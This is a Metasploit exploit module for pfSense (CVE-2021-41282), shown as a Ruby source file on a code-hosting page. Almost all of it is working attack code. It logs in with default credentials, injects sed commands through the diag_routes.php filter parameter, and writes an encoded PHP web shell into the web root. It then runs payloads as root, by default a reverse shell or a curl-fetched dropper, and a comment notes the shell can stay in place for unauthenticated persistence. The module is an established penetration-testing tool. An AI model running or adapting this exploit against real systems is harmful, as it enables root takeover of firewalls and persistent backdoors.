Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb
33939 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::FileDropper
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'pfSense Diag Routes Web Shell Upload',
19
'Description' => %q{
20
This module exploits an arbitrary file creation vulnerability in the pfSense
21
HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
22
and can be exploited by an authenticated user if they have the
23
"WebCfg - Diagnostics: Routing tables" privilege.
24
25
This module uses the vulnerability to create a web shell and execute payloads
26
with root privileges.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
31
'jbaines-r7' # metasploit module
32
],
33
'References' => [
34
['CVE', '2021-41282'],
35
['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
36
],
37
'DisclosureDate' => '2022-02-23',
38
'Privileged' => true,
39
'Targets' => [
40
[
41
'Unix Command',
42
{
43
'Platform' => 'unix',
44
'Arch' => ARCH_CMD,
45
'Type' => :unix_cmd,
46
'DefaultOptions' => {
47
'PAYLOAD' => 'cmd/unix/reverse_openssl'
48
},
49
'Payload' => {
50
'Append' => '& disown'
51
}
52
}
53
],
54
[
55
'BSD Dropper',
56
{
57
'Platform' => 'bsd',
58
'Arch' => [ARCH_X64],
59
'Type' => :bsd_dropper,
60
'CmdStagerFlavor' => [ 'curl' ],
61
'DefaultOptions' => {
62
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
63
}
64
}
65
]
66
],
67
'DefaultTarget' => 1,
68
'DefaultOptions' => {
69
'RPORT' => 443,
70
'SSL' => true
71
},
72
'Notes' => {
73
'Stability' => [CRASH_SAFE],
74
'Reliability' => [REPEATABLE_SESSION],
75
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
76
}
77
)
78
)
79
register_options [
80
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
81
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
82
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
83
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
84
]
85
86
@webshell_uri = '/'
87
@webshell_path = '/usr/local/www/'
88
end
89
90
# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
91
# pfsense permissions can be so locked down that we have to try direct exploitation
92
# in order to determine vulnerability. A user can even be restricted from the
93
# dashboard (where other pfsense modules extract the version).
94
def check
95
# Grab a CSRF token so that we can log in
96
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
97
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
98
return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
99
return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
100
101
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
102
return CheckCode::Unknown('Could not find CSRF token') unless csrf
103
104
# send the log in attempt
105
res = send_request_cgi(
106
'uri' => normalize_uri(target_uri.path, '/index.php'),
107
'method' => 'POST',
108
'vars_post' => {
109
'__csrf_magic' => csrf,
110
'usernamefld' => datastore['USERNAME'],
111
'passwordfld' => datastore['PASSWORD'],
112
'login' => ''
113
}
114
)
115
116
return CheckCode::Detected('No response to log in attempt.') unless res
117
return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
118
119
# save the auth cookie for later user
120
@auth_cookies = res.get_cookies
121
122
# attempt the exploit. Upload a random file to /usr/local/www/ with random contents
123
filename = Rex::Text.rand_text_alpha(4..12)
124
contents = Rex::Text.rand_text_alpha(16..32)
125
res = send_request_cgi({
126
'method' => 'GET',
127
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
128
'cookie' => @auth_cookies,
129
'encode_params' => false,
130
'vars_get' => {
131
'isAjax' => '1',
132
'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
133
}
134
})
135
136
return CheckCode::Safe('No response to upload attempt.') unless res
137
return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
138
139
# Validate the exploit was successful by requesting the uploaded file
140
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
141
return CheckCode::Safe('No response to exploit validation check.') unless res
142
return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
143
144
register_file_for_cleanup("#{@webshell_path}#{filename}")
145
CheckCode::Vulnerable()
146
end
147
148
# Using the path traversal, upload a php webshell to the remote target
149
def drop_webshell
150
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
151
print_status("Uploading webshell to #{webshell_location}")
152
153
# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
154
php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
155
156
res = send_request_cgi({
157
'method' => 'GET',
158
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
159
'cookie' => @auth_cookies,
160
'encode_params' => false,
161
'vars_get' => {
162
'isAjax' => '1',
163
'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
164
}
165
})
166
167
fail_with(Failure::Disconnected, 'Connection failed') unless res
168
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
169
170
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
171
print_status('Testing if web shell installation was successful')
172
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
173
res = execute_via_webshell("echo #{rand_data}")
174
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
175
print_good("Web shell installed at #{webshell_location}")
176
177
# This is a great place to leave a web shell for persistence since it doesn't require auth
178
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
179
if datastore['DELETE_WEBSHELL']
180
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
181
end
182
end
183
184
# Executes commands via the uploaded webshell
185
def execute_via_webshell(cmd)
186
if target['Type'] == :bsd_dropper
187
# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
188
# way to force the payload to background itself (and thus allow the HTTP response to
189
# to return). So we hack it in ourselves. This identifies the ending file cleanup
190
# which should be right after executing the payload.
191
cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
192
end
193
194
res = send_request_cgi({
195
'method' => 'GET',
196
'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
197
'vars_get' => {
198
'cmd' => cmd
199
}
200
})
201
202
fail_with(Failure::Disconnected, 'Connection failed') unless res
203
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
204
res
205
end
206
207
def execute_command(cmd, _opts = {})
208
execute_via_webshell(cmd)
209
end
210
211
def exploit
212
# create a randomish web shell name if the user doesn't specify one
213
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
214
215
drop_webshell
216
217
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
218
case target['Type']
219
when :unix_cmd
220
execute_command(payload.encoded)
221
when :bsd_dropper
222
execute_cmdstager
223
end
224
end
225
end
226
227